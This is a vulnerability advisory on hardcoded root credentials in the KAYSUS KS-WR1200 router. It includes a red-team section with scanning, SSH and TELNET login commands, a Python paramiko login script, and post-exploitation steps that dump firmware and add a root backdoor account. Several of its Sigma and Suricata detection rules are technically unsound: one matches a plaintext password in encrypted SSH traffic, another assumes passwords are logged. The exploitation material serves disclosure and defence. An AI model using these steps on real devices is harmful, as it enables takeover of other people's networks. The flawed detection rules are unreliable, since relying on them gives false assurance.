CVE-2025-68718

Executive Summary

CVE-2025-68718 exposes a critical security flaw in KAYSUS KS-WR1200 routers running firmware version 107. The device ships with hardcoded root credentials (root:12345678) for SSH and TELNET services on the LAN interface. These services cannot be disabled or the password changed through the management GUI, leaving the device permanently vulnerable to any LAN-adjacent attacker. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is severe (CVSS 8.8) given the trivial exploitation and full root access.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.8 (High)
Temporal Score: 8.8 (High)
Environmental Score: Varies by network segmentation

• Attack Vector (AV): Adjacent Network – attacker must be on the same LAN.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – vulnerable component only.
• Confidentiality (C): High – full device access.
• Integrity (I): High – full control over device.
• Availability (A): High – can disrupt router operations.

Threat Level: Critical for LAN environments. The hardcoded credentials and inability to disable services make this a permanent backdoor.

Deep Dive & Mechanics

The KAYSUS KS-WR1200 router runs firmware version 107, which enables SSH and TELNET services on the LAN interface by default. The root password is hardcoded as 12345678 and cannot be changed via the management GUI. The administrator has no option to disable these services, meaning the backdoor is always active.

Root Cause: The firmware embeds static credentials in the configuration files or startup scripts. The management GUI password change does not propagate to the SSH/TELNET authentication mechanism, indicating separate authentication backends.

Attack Vector: An attacker on the same LAN can scan for the router's IP (typically 192.168.1.1) and attempt SSH or TELNET login with root:12345678. Successful authentication grants full root shell access.

Impact: Full device compromise, including:

• Network traffic interception and modification.
• Firmware modification or replacement.
• Lateral movement within the LAN.
• Use as a pivot point for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 107): The firmware likely contains a configuration file or script that sets the root password. Example (hypothetical):

# /etc/shadow or /etc/passwd
root:$1$salt$hash:0:0:root:/root:/bin/sh

Or a startup script:

# /etc/init.d/sshd
echo "root:12345678" | chpasswd

Patched Code (Not Available): A patch would require:

• Removing hardcoded credentials.
• Allowing password change via GUI.
• Providing an option to disable SSH/TELNET.
• Using a secure password generation mechanism.

Since no patch is available, the device remains vulnerable.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Attacker machine on the same LAN as the target router.
• Target router IP (e.g., 192.168.1.1).

Exploitation Steps:

1. Scan for the router:

   nmap -p 22,23 192.168.1.0/24
   

2. Attempt SSH login:

   ssh root@192.168.1.1
   # Password: 12345678
   

3. Attempt TELNET login:

   telnet 192.168.1.1
   # Login: root
   # Password: 12345678
   

4. Post-exploitation:

   # Check network configuration
   ifconfig
   # Dump firmware
   cat /dev/mtd0 > /tmp/firmware.bin
   # Add backdoor user
   echo "hacker:$1$salt$hash:0:0:root:/root:/bin/sh" >> /etc/passwd
   

Automated Exploit (Python):

import paramiko

host = "192.168.1.1"
username = "root"
password = "12345678"

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username=username, password=password)
stdin, stdout, stderr = client.exec_command("id")
print(stdout.read().decode())
client.close()

Blue Team

Detection:

• Monitor for multiple failed SSH/TELNET login attempts from unknown IPs.
• Alert on successful SSH/TELNET logins from unexpected sources.
• Use network segmentation to isolate router management interfaces.

Honeypot Setup: Deploy a fake router with SSH/TELNET on the same subnet to capture attacker behavior.

Mitigation:

• Replace the router with a patched model.
• If replacement is not possible, block SSH/TELNET at the network level using ACLs.
• Monitor for hardcoded credential usage in logs.

Indicators of Compromise (IOCs)

Network IOCs:

• SSH/TELNET connections to the router's IP on ports 22/23.
• Login attempts with username root and password 12345678.
• Unusual outbound connections from the router (e.g., to C2 servers).

Host IOCs:

• Presence of /etc/init.d/sshd or /etc/init.d/telnetd scripts.
• Root password hash matching 12345678 in /etc/shadow.
• Unauthorized user accounts in /etc/passwd.

File IOCs:

• Firmware version 107 (check via cat /proc/version or uname -a).
• Configuration files with hardcoded credentials.

Detection Engineering

YARA Rule

rule CVE_2025_68718_Hardcoded_Credentials {
    meta:
        description = "Detects hardcoded root credentials in KAYSUS KS-WR1200 firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68718"
    strings:
        $cred1 = "root:12345678" ascii wide
        $cred2 = "12345678" ascii wide
        $ssh_config = "sshd" ascii wide
        $telnet_config = "telnetd" ascii wide
    condition:
        any of ($cred*) and any of ($ssh_config, $telnet_config)
}

Sigma Rule

title: Detection of Hardcoded Credential Usage on KAYSUS Router
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSH/TELNET login attempts with hardcoded root credentials on KAYSUS KS-WR1200 routers
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68718
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 22  # SSH login success
        TargetUsername: 'root'
        TargetPassword: '12345678'
    condition: selection
falsepositives:
    - Legitimate administrative access (unlikely)
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2025-68718 KAYSUS Router SSH Hardcoded Credential Attempt"; flow:to_server; content:"SSH-2.0"; nocase; content:"root"; nocase; content:"12345678"; nocase; sid:1000001; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET 23 (msg:"CVE-2025-68718 KAYSUS Router TELNET Hardcoded Credential Attempt"; flow:to_server; content:"Login:"; nocase; content:"root"; nocase; content:"12345678"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the router with a patched model or a different vendor.
2. Block SSH/TELNET at the network level using firewall rules:

   iptables -A INPUT -p tcp --dport 22 -j DROP
   iptables -A INPUT -p tcp --dport 23 -j DROP
   

3. Segment the network to isolate the router from untrusted devices.

Long-term Solutions:

• Contact KAYSUS for a firmware update (if available).
• Implement network access controls (NAC) to restrict LAN access.
• Monitor for similar vulnerabilities in other IoT devices.

Workaround:

• If the router must be used, create a custom firmware build that removes the hardcoded credentials (requires technical expertise).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert